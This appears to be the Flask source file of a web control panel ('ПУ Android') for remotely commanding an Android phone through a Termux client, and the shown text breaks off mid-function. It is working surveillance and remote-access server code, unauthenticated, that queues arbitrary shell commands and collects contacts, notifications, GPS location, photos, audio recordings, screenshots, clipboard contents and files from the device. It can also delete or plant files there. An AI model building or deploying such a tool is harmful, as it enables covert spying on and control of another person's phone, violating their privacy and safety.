Contrem / app.py
Aleksmorshen's picture
Update app.py
56f94bb verified
from flask import Flask, request, render_template_string, jsonify, send_from_directory, redirect, url_for
import os
import datetime
import uuid
import werkzeug.utils
import json
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
app.config['FILES_TO_CLIENT_FOLDER'] = 'uploads_to_client'
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
pending_command = None
command_output = "Ожидание команд..."
last_client_heartbeat = None
current_client_path = "~"
file_to_send_to_client = None
device_status_info = {}
notifications_history = []
contacts_list = []
HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ПУ Android</title>
<style>
body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; flex-direction: column; min-height: 100vh; font-size: 16px; -webkit-text-size-adjust: 100%; }
header { background-color: #333; color: white; padding: 10px 15px; display: flex; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.2); position: fixed; top: 0; left: 0; width: 100%; z-index: 1001;}
.menu-toggle { font-size: 1.5em; background: none; border: none; color: white; cursor: pointer; margin-right: 15px; padding: 5px; }
header h1 { font-size: 1.2em; margin: 0; flex-grow: 1; text-align: center; }
.main-container { display: flex; flex-grow: 1; overflow: hidden; margin-top: 50px; /* Adjusted for fixed header */ }
.sidebar { width: 250px; background-color: #3f3f3f; color: white; padding: 15px; box-sizing: border-box; display: flex; flex-direction: column; transform: translateX(-100%); transition: transform 0.3s ease-in-out; position: fixed; top: 0; left: 0; height: 100vh; z-index: 1000; overflow-y: auto; padding-top: 60px; /* Ensure content starts below header */ }
.sidebar.open { transform: translateX(0); box-shadow: 3px 0 6px rgba(0,0,0,0.2); }
.sidebar h2 { margin-top: 0px; font-size: 1.1em; border-bottom: 1px solid #555; padding-bottom: 10px; }
.sidebar ul { list-style: none; padding: 0; margin: 0; }
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 12px 10px; border-radius: 4px; margin-bottom: 5px; font-size:0.95em; }
.sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
.content-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 999; }
.content-overlay.active { display: block; }
.content { flex-grow: 1; padding: 15px; box-sizing: border-box; overflow-y: auto; /* margin-top: 50px; Removed, handled by main-container */ }
.container { background-color: #fff; padding: 15px; border-radius: 8px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); margin-bottom:15px; }
.control-section { margin-bottom: 15px; padding: 10px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
label { display: block; margin-bottom: 6px; font-weight: bold; color: #555; font-size: 0.9em; }
input[type="text"], textarea, input[type="file"] { width: calc(100% - 22px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; font-size: 1em; }
button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.9em; margin-right: 5px; margin-bottom: 8px; display: inline-block; }
button:hover { background-color: #0056b3; }
pre { background-color: #282c34; color: #abb2bf; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 300px; overflow-y: auto; font-family: 'Courier New', Courier, monospace; font-size: 0.85em; }
.status { padding: 10px; border-radius: 4px; margin-bottom:10px; font-weight: bold; font-size: 0.9em; }
.status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
.status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
.file-browser ul { list-style: none; padding: 0; }
.file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; }
.file-browser li .file-name-container { flex-grow: 1; margin-right: 10px; word-break: break-all; }
.file-browser li .file-actions button { margin-left: 5px; padding: 4px 8px; font-size:0.8em; }
.file-browser li:last-child { border-bottom: none; }
.file-browser a { text-decoration: none; color: #007bff; }
.file-browser a:hover { text-decoration: underline; }
.file-icon { margin-right: 8px; }
.file-browser .dir a { font-weight: bold; }
.file-browser .download-btn { background-color: #28a745; }
.file-browser .download-btn:hover { background-color: #218838; }
.file-browser .delete-btn { background-color: #dc3545; }
.file-browser .delete-btn:hover { background-color: #c82333; }
.hidden-section { display: none; }
.status-item { margin-bottom: 8px; font-size: 0.9em;}
.status-item strong { color: #333; }
.notification-list, .contact-list { max-height: 350px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
.notification-item, .contact-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
.notification-item:last-child, .contact-item:last-child { border-bottom: none; }
.notification-item strong, .contact-item strong { display: block; color: #555; }
.notification-item span, .contact-item span { font-size: 0.9em; color: #777; display: block; }
.contact-item .contact-number { font-weight: normal; }
@media (min-width: 768px) {
header { display: none; }
.sidebar { transform: translateX(0); position: static; height: 100vh; box-shadow: none; padding-top: 15px; /* Reset padding for desktop */ }
.main-container { margin-top: 0; }
.content-overlay { display: none !important; }
}
</style>
<script>
let currentView = 'dashboard';
function toggleMenu() {
document.querySelector('.sidebar').classList.toggle('open');
document.querySelector('.content-overlay').classList.toggle('active');
}
function showSection(sectionId) {
document.querySelectorAll('.content > div.container').forEach(div => div.style.display = 'none');
document.getElementById(sectionId).style.display = 'block';
document.querySelectorAll('.sidebar a').forEach(a => a.classList.remove('active'));
const activeLink = document.querySelector(`.sidebar a[href="#${sectionId}"]`);
if (activeLink) activeLink.classList.add('active');
currentView = sectionId;
if (window.innerWidth < 768 && document.querySelector('.sidebar').classList.contains('open')) {
toggleMenu();
}
if (sectionId === 'files') refreshClientPathDisplay();
if (sectionId === 'device_status') requestDeviceStatus();
if (sectionId === 'notifications') requestNotifications();
if (sectionId === 'contacts') requestContacts();
refreshOutput();
}
async function refreshOutput() {
try {
const response = await fetch('/get_status_output');
const data = await response.json();
if (data.output && (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils')) {
document.getElementById('outputArea').innerText = data.output;
}
if (data.last_heartbeat) {
const statusDiv = document.getElementById('clientStatus');
const lastBeat = new Date(data.last_heartbeat);
const now = new Date();
const diffSeconds = (now - lastBeat) / 1000;
if (diffSeconds < 45) {
statusDiv.className = 'status online';
statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
} else {
statusDiv.className = 'status offline';
statusDiv.innerText = 'Клиент ОФФЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
}
} else {
document.getElementById('clientStatus').className = 'status offline';
document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
}
if (data.current_path && currentView === 'files') {
document.getElementById('currentPathDisplay').innerText = data.current_path;
if (data.output && data.output.startsWith("Содержимое") ) {
renderFileList(data.output, data.current_path);
} else if (data.output && currentView === 'files') {
document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
}
}
const filesResponse = await fetch('/list_uploaded_files');
const filesData = await filesResponse.json();
const serverFileListUl = document.getElementById('serverUploadedFiles');
serverFileListUl.innerHTML = '';
if (filesData.files && filesData.files.length > 0) {
filesData.files.forEach(file => {
const li = document.createElement('li');
const a = document.createElement('a');
a.href = '/uploads_from_client/' + encodeURIComponent(file);
a.textContent = file;
a.target = '_blank';
li.appendChild(a);
serverFileListUl.appendChild(li);
});
} else {
serverFileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
}
if (data.device_status && currentView === 'device_status') {
updateDeviceStatusDisplay(data.device_status);
}
if (data.notifications && currentView === 'notifications') {
renderNotifications(data.notifications);
}
if (data.contacts && currentView === 'contacts') {
renderContacts(data.contacts);
}
} catch (error) {
console.error("Error refreshing data:", error);
if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils') {
document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
}
}
}
function updateDeviceStatusDisplay(status) {
document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
document.getElementById('locationStatus').innerHTML = status.location ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
if (status.location && status.location.latitude && status.location.longitude) {
document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
} else {
document.getElementById('locationMapLink').innerHTML = '';
}
document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)';
}
function renderFileList(lsOutput, currentPath) {
const fileListUl = document.getElementById('fileList');
fileListUl.innerHTML = '';
const lines = lsOutput.split('\\n');
let isRootOrHome = (currentPath === '/' || currentPath === '~' || currentPath === osPathToUserFriendly(currentPath, true));
if (!isRootOrHome) {
const parentLi = document.createElement('li');
parentLi.className = 'dir';
const parentA = document.createElement('a');
parentA.href = '#';
parentA.innerHTML = '<span class="file-icon">🔙</span> .. (Наверх)';
parentA.onclick = (e) => { e.preventDefault(); navigateTo('..'); };
parentLi.appendChild(parentA);
fileListUl.appendChild(parentLi);
}
lines.forEach(line => {
if (line.trim() === '' || line.startsWith("Содержимое")) return;
const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/);
if (!parts) return;
const type = parts[1];
const name = parts[2].trim();
const li = document.createElement('li');
const nameContainer = document.createElement('div');
nameContainer.className = 'file-name-container';
const a = document.createElement('a');
a.href = '#';
if (type === '[D]') {
li.className = 'dir';
a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
nameContainer.appendChild(a);
li.appendChild(nameContainer);
} else {
li.className = 'file';
a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
a.onclick = (e) => { e.preventDefault(); };
nameContainer.appendChild(a);
li.appendChild(nameContainer);
const actionsContainer = document.createElement('div');
actionsContainer.className = 'file-actions';
const downloadBtn = document.createElement('button');
downloadBtn.className = 'download-btn';
downloadBtn.textContent = 'Скачать';
downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
actionsContainer.appendChild(downloadBtn);
const deleteBtn = document.createElement('button');
deleteBtn.className = 'delete-btn';
deleteBtn.textContent = 'Удалить';
deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); };
actionsContainer.appendChild(deleteBtn);
li.appendChild(actionsContainer);
}
fileListUl.appendChild(li);
});
}
function renderNotifications(notifications) {
const notificationListDiv = document.getElementById('notificationList');
notificationListDiv.innerHTML = '';
if (notifications && notifications.length > 0) {
notifications.forEach(n => {
const itemDiv = document.createElement('div');
itemDiv.className = 'notification-item';
itemDiv.innerHTML = `
<strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
<span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
<span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
<p>${n.content || 'Нет содержимого'}</p>
`;
notificationListDiv.appendChild(itemDiv);
});
} else {
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
}
}
function renderContacts(contacts) {
const contactListDiv = document.getElementById('contactList');
contactListDiv.innerHTML = '';
if (contacts && contacts.length > 0) {
contacts.forEach(c => {
const itemDiv = document.createElement('div');
itemDiv.className = 'contact-item';
let numbersHtml = '';
if (c.numbers && c.numbers.length > 0) {
c.numbers.forEach(num => {
numbersHtml += `<span class="contact-number">${num}</span>`;
});
} else {
numbersHtml = '<span>Нет номеров</span>';
}
itemDiv.innerHTML = `
<strong>${c.name || 'Без имени'}</strong>
${numbersHtml}
`;
contactListDiv.appendChild(itemDiv);
});
} else {
contactListDiv.innerHTML = '<p>Список контактов пуст или не удалось его получить.</p>';
}
}
function osPathToUserFriendly(path, checkRoot = false) {
if (path.startsWith('/data/data/com.termux/files/home')) {
let relPath = path.substring('/data/data/com.termux/files/home'.length);
if (relPath === '' || relPath === '/') return '~';
return '~' + relPath;
}
if (checkRoot && path === '/') return '/';
return path;
}
async function sendGenericCommand(payload) {
try {
document.getElementById('outputArea').innerText = "Отправка команды...";
const response = await fetch('/send_command', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
if (!response.ok) {
console.error("Server error sending command");
document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
}
} catch (error) {
console.error("Network error sending command:", error);
document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
}
}
function navigateTo(itemName) {
sendGenericCommand({ command_type: 'list_files', path: itemName });
if (currentView === 'files') {
document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
}
}
function requestDownloadFile(filename) {
sendGenericCommand({ command_type: 'request_download_file', filename: filename });
document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
}
function requestDeleteFile(filename) {
if (confirm(`Вы уверены, что хотите удалить файл "${filename}"? Это действие необратимо.`)) {
sendGenericCommand({ command_type: 'delete_file', filename: filename });
}
}
function refreshClientPathDisplay(){
if (document.getElementById('currentPathDisplay')) {
fetch('/get_status_output').then(r=>r.json()).then(data => {
if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
});
}
}
window.onload = () => {
showSection('dashboard');
setInterval(refreshOutput, 4000);
refreshOutput();
document.querySelector('.menu-toggle').addEventListener('click', toggleMenu);
document.querySelector('.content-overlay').addEventListener('click', toggleMenu);
};
function submitShellCommand(event) {
event.preventDefault();
const command = document.getElementById('command_str').value;
sendGenericCommand({ command_type: 'shell', command: command });
document.getElementById('command_str').value = '';
}
function submitMediaCommand(type, paramName, paramValueId) {
let payload = { command_type: type };
if (paramName && paramValueId) {
const value = document.getElementById(paramValueId).value;
if (value) payload[paramName] = value;
}
sendGenericCommand(payload);
}
async function handleUploadToServer(event) {
event.preventDefault();
const fileInput = document.getElementById('fileToUploadToDevice');
const targetPathInput = document.getElementById('targetDevicePath');
if (!fileInput.files[0]) {
alert("Пожалуйста, выберите файл для загрузки.");
return;
}
if (!targetPathInput.value) {
alert("Пожалуйста, укажите путь на устройстве.");
return;
}
const formData = new FormData();
formData.append('file_to_device', fileInput.files[0]);
formData.append('target_path_on_device', targetPathInput.value);
document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
try {
const response = await fetch('/upload_to_server_for_client', {
method: 'POST',
body: formData
});
const result = await response.json();
if (result.status === 'success') {
document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
sendGenericCommand({
command_type: 'receive_file',
server_filename: result.server_filename,
target_path_on_device: result.target_path_on_device
});
} else {
document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
}
} catch (error) {
document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error;
}
}
function getClipboard() {
sendGenericCommand({ command_type: 'clipboard_get' });
}
function setClipboard() {
const text = document.getElementById('clipboardSetText').value;
sendGenericCommand({ command_type: 'clipboard_set', text: text });
}
function openUrlOnDevice() {
const url = document.getElementById('urlToOpen').value;
if (url) {
sendGenericCommand({ command_type: 'open_url', url: url });
} else {
alert("Пожалуйста, введите URL.");
}
}
function requestDeviceStatus(item = null) {
let payload = { command_type: 'get_device_status' };
if (item) {
payload.item = item;
}
sendGenericCommand(payload);
}
function requestNotifications() {
sendGenericCommand({ command_type: 'get_notifications' });
}
function requestContacts() {
sendGenericCommand({ command_type: 'get_contacts' });
}
</script>
</head>
<body>
<header>
<button class="menu-toggle" aria-label="Toggle menu">☰</button>
<h1>ПУ Android</h1>
</header>
<div class="main-container">
<div class="sidebar">
<h2>Меню</h2>
<ul>
<li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
<li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
<li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
<li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
<li><a href="#files" onclick="showSection('files')">Файлы</a></li>
<li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
<li><a href="#media" onclick="showSection('media')">Медиа</a></li>
<li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
<li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
<li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
</ul>
</div>
<div class="content-overlay"></div>
<div class="content">
<div id="clientStatus" class="status offline">Статус клиента неизвестен</div>
<div id="dashboard" class="container">
<h2>Общая информация</h2>
<p>Добро пожаловать в панель управления. Выберите действие из меню слева.</p>
<div class="control-section">
<h3>Вывод последней операции:</h3>
<pre id="outputArea">Ожидание вывода...</pre>
</div>
</div>
<div id="device_status" class="container hidden-section">
<h2>Статус устройства</h2>
<button onclick="requestDeviceStatus()">Обновить все</button>
<div class="control-section">
<h3>Батарея</h3>
<div id="batteryStatus" class="status-item"><strong>Заряд:</strong> Н/Д</div>
<button onclick="requestDeviceStatus('battery')">Обновить батарею</button>
</div>
<div class="control-section">
<h3>Геолокация</h3>
<div id="locationStatus" class="status-item"><strong>Локация:</strong> Н/Д</div>
<div id="locationMapLink" class="status-item"></div>
<button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
</div>
<div class="control-section">
<h3>Запущенные процессы (пользователя Termux)</h3>
<div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
<button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
</div>
</div>
<div id="notifications" class="container hidden-section">
<h2>Уведомления устройства</h2>
<button onclick="requestNotifications()">Обновить уведомления</button>
<div class="control-section">
<h3>Список уведомлений:</h3>
<div id="notificationList" class="notification-list">
<p>Запросите список уведомлений.</p>
</div>
</div>
</div>
<div id="contacts" class="container hidden-section">
<h2>Контакты</h2>
<button onclick="requestContacts()">Запросить список контактов</button>
<div class="control-section">
<h3>Список контактов:</h3>
<div id="contactList" class="contact-list">
<p>Запросите список контактов.</p>
</div>
</div>
</div>
<div id="files" class="container hidden-section">
<h2>Файловый менеджер (Клиент)</h2>
<p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
<button onclick="navigateTo('~')">Дом (~)</button>
<button onclick="navigateTo('/sdcard/')">Память</button>
<input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:0px; margin-right:5px; max-width: 150px;">
<button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти</button>
<div class="file-browser control-section">
<h3>Содержимое директории:</h3>
<ul id="fileList">
<li>Запросите содержимое директории.</li>
</ul>
</div>
<div class="control-section">
<h3>Загрузить файл НА устройство</h3>
<form id="uploadForm" onsubmit="handleUploadToServer(event)">
<label for="fileToUploadToDevice">Выберите файл:</label>
<input type="file" id="fileToUploadToDevice" name="file_to_device" required>
<label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
<input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
<button type="submit">Загрузить</button>
</form>
<p id="uploadToDeviceStatus"></p>
</div>
</div>
<div id="shell" class="container hidden-section">
<h2>Выполнить команду на устройстве</h2>
<form onsubmit="submitShellCommand(event)">
<label for="command_str">Команда (например, `ls -l /sdcard/Download` или `pwd`):</label>
<input type="text" id="command_str" name="command_str" required>
<button type="submit">Отправить</button>
</form>
<div class="control-section" style="margin-top:20px;">
<h3>Вывод команды:</h3>
<pre id="outputAreaShellCopy"></pre>
</div>
</div>
<div id="media" class="container hidden-section">
<h2>Мультимедиа</h2>
<div class="control-section">
<button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
<label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
<input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
</div>
<div class="control-section">
<button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
</div>
<div class="control-section">
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
</div>
<div class="control-section" style="margin-top:20px;">
<h3>Результат операции:</h3>
<pre id="outputAreaMediaCopy"></pre>
</div>
</div>
<div id="clipboard" class="container hidden-section">
<h2>Буфер обмена</h2>
<div class="control-section">
<button onclick="getClipboard()">Получить из буфера</button>
</div>
<div class="control-section">
<label for="clipboardSetText">Текст для вставки в буфер:</label>
<textarea id="clipboardSetText" rows="3"></textarea>
<button onclick="setClipboard()">Вставить в буфер</button>
</div>
<div class="control-section" style="margin-top:20px;">
<h3>Результат операции с буфером:</h3>
<pre id="outputAreaClipboardCopy"></pre>
</div>
</div>
<div id="utils" class="container hidden-section">
<h2>Утилиты</h2>
<div class="control-section">
<label for="urlToOpen">Открыть URL на устройстве:</label>
<input type="text" id="urlToOpen" placeholder="https://example.com">
<button onclick="openUrlOnDevice()">Открыть URL</button>
</div>
<div class="control-section" style="margin-top:20px;">
<h3>Результат операции:</h3>
<pre id="outputAreaUtilsCopy"></pre>
</div>
</div>
<div id="uploads" class="container hidden-section">
<h2>Файлы, загруженные С клиента на сервер</h2>
<div class="control-section">
<ul id="serverUploadedFiles">
<li>Нет загруженных файлов.</li>
</ul>
</div>
</div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', () => {
const outputArea = document.getElementById('outputArea');
const outputAreaShellCopy = document.getElementById('outputAreaShellCopy');
const outputAreaMediaCopy = document.getElementById('outputAreaMediaCopy');
const outputAreaClipboardCopy = document.getElementById('outputAreaClipboardCopy');
const outputAreaUtilsCopy = document.getElementById('outputAreaUtilsCopy');
const observer = new MutationObserver(() => {
if (outputAreaShellCopy && currentView === 'shell') outputAreaShellCopy.innerText = outputArea.innerText;
if (outputAreaMediaCopy && currentView === 'media') outputAreaMediaCopy.innerText = outputArea.innerText;
if (outputAreaClipboardCopy && currentView === 'clipboard') outputAreaClipboardCopy.innerText = outputArea.innerText;
if (outputAreaUtilsCopy && currentView === 'utils') outputAreaUtilsCopy.innerText = outputArea.innerText;
});
observer.observe(outputArea, { childList: true, characterData: true, subtree: true });
});
</script>
</body>
</html>
"""
@app.route('/')
def index():
return render_template_string(HTML_TEMPLATE)
@app.route('/send_command', methods=['POST'])
def handle_send_command():
global pending_command, command_output
data = request.json
command_output = "Ожидание выполнения..."
command_type = data.get('command_type')
if command_type == 'list_files':
path_requested = data.get('path', '.')
pending_command = {'type': 'list_files', 'path': path_requested}
elif command_type == 'request_download_file':
filename = data.get('filename')
if filename:
pending_command = {'type': 'upload_to_server', 'filename': filename}
else:
command_output = "Ошибка: Имя файла для скачивания не указано."
elif command_type == 'delete_file':
filename = data.get('filename')
if filename:
pending_command = {'type': 'delete_file', 'filename': filename}
else:
command_output = "Ошибка: Имя файла для удаления не указано."
elif command_type == 'take_photo':
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
elif command_type == 'record_audio':
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
elif command_type == 'screenshot':
pending_command = {'type': 'screenshot'}
elif command_type == 'shell':
command_str = data.get('command')
if command_str:
pending_command = {'type': 'shell', 'command': command_str}
else:
command_output = "Ошибка: Команда не указана."
elif command_type == 'receive_file':
server_filename = data.get('server_filename')
target_path_on_device = data.get('target_path_on_device')
if server_filename and target_path_on_device:
file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
if os.path.exists(file_path_on_server):
pending_command = {
'type': 'receive_file',
'download_url': url_for('download_to_client', filename=server_filename, _external=True),
'target_path': target_path_on_device,
'original_filename': server_filename
}
else:
command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
else:
command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
elif command_type == 'clipboard_get':
pending_command = {'type': 'clipboard_get'}
elif command_type == 'clipboard_set':
text_to_set = data.get('text', '')
pending_command = {'type': 'clipboard_set', 'text': text_to_set}
elif command_type == 'open_url':
url_to_open = data.get('url')
if url_to_open:
pending_command = {'type': 'open_url', 'url': url_to_open}
else:
command_output = "Ошибка: URL для открытия не указан."
elif command_type == 'get_device_status':
item_requested = data.get('item')
pending_command = {'type': 'get_device_status', 'item': item_requested}
elif command_type == 'get_notifications':
pending_command = {'type': 'get_notifications'}
elif command_type == 'get_contacts':
pending_command = {'type': 'get_contacts'}
else:
command_output = "Неизвестный тип команды."
return jsonify({'status': 'command_queued'})
@app.route('/get_command', methods=['GET'])
def get_command():
global pending_command
if pending_command:
cmd_to_send = pending_command
pending_command = None
return jsonify(cmd_to_send)
return jsonify(None)
@app.route('/submit_client_data', methods=['POST'])
def submit_client_data():
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
data = request.json
if not data:
return jsonify({'status': 'error', 'message': 'No data received'}), 400
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
if 'output' in data:
new_output = data['output']
max_len = 20000
if len(new_output) > max_len:
command_output = new_output[:max_len] + "\n... (output truncated)"
else:
command_output = new_output
if 'current_path' in data:
current_client_path = data['current_path']
if 'device_status_update' in data:
update = data['device_status_update']
for key, value in update.items():
device_status_info[key] = value
if 'notifications_update' in data:
notifications_history = data['notifications_update']
if not command_output or command_output == "Клиент онлайн.":
command_output = "Список уведомлений обновлен."
if 'contacts_update' in data:
contacts_list = data['contacts_update']
if not command_output or command_output == "Клиент онлайн.":
command_output = "Список контактов обновлен."
if 'heartbeat' in data and data['heartbeat']:
if not command_output or command_output == "Клиент онлайн.":
if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data and 'contacts_update' not in data:
command_output = "Клиент онлайн."
return jsonify({'status': 'heartbeat_ok'})
return jsonify({'status': 'data_received'})
@app.route('/upload_from_client', methods=['POST'])
def upload_from_client_route():
global command_output, last_client_heartbeat
last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
if 'file' not in request.files:
command_output = "Ошибка на сервере: Файл не был отправлен клиентом."
return jsonify({'status': 'error', 'message': 'No file part'})
file = request.files['file']
if file.filename == '':
command_output = "Ошибка на сервере: Клиент отправил файл без имени."
return jsonify({'status': 'error', 'message': 'No selected file'})
if file:
filename = werkzeug.utils.secure_filename(file.filename)
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
counter = 0
base_name, ext = os.path.splitext(filename)
while os.path.exists(filepath):
counter += 1
filename = f"{base_name}_{counter}{ext}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
try:
file.save(filepath)
origin_command_type = request.form.get("origin_command_type", "unknown")
if origin_command_type == "request_download_file":
command_output = f"Файл '{filename}' успешно загружен С клиента."
return jsonify({'status': 'success', 'filename': filename})
except Exception as e:
command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
return jsonify({'status': 'error', 'message': str(e)})
@app.route('/get_status_output', methods=['GET'])
def get_status_output_route():
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
return jsonify({
'output': command_output,
'last_heartbeat': last_client_heartbeat,
'current_path': current_client_path,
'device_status': device_status_info,
'notifications': notifications_history,
'contacts': contacts_list
})
@app.route('/uploads_from_client/<path:filename>')
def uploaded_file_from_client(filename):
return send_from_directory(app.config['UPLOAD_FOLDER'], filename, as_attachment=True)
@app.route('/list_uploaded_files')
def list_uploaded_files_route():
files = []
try:
for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)):
files.append(f_name)
except Exception:
pass
return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
@app.route('/upload_to_server_for_client', methods=['POST'])
def upload_to_server_for_client_route():
global file_to_send_to_client, command_output
if 'file_to_device' not in request.files:
return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
file = request.files['file_to_device']
target_path_on_device = request.form.get('target_path_on_device')
if file.filename == '':
return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
if not target_path_on_device:
return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
if file:
original_filename = werkzeug.utils.secure_filename(file.filename)
server_side_filename = str(uuid.uuid4()) + "_" + original_filename
filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
try:
file.save(filepath_on_server)
command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
return jsonify({
'status': 'success',
'server_filename': server_side_filename,
'original_filename': original_filename,
'target_path_on_device': target_path_on_device
})
except Exception as e:
return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
@app.route('/download_to_client/<filename>')
def download_to_client(filename):
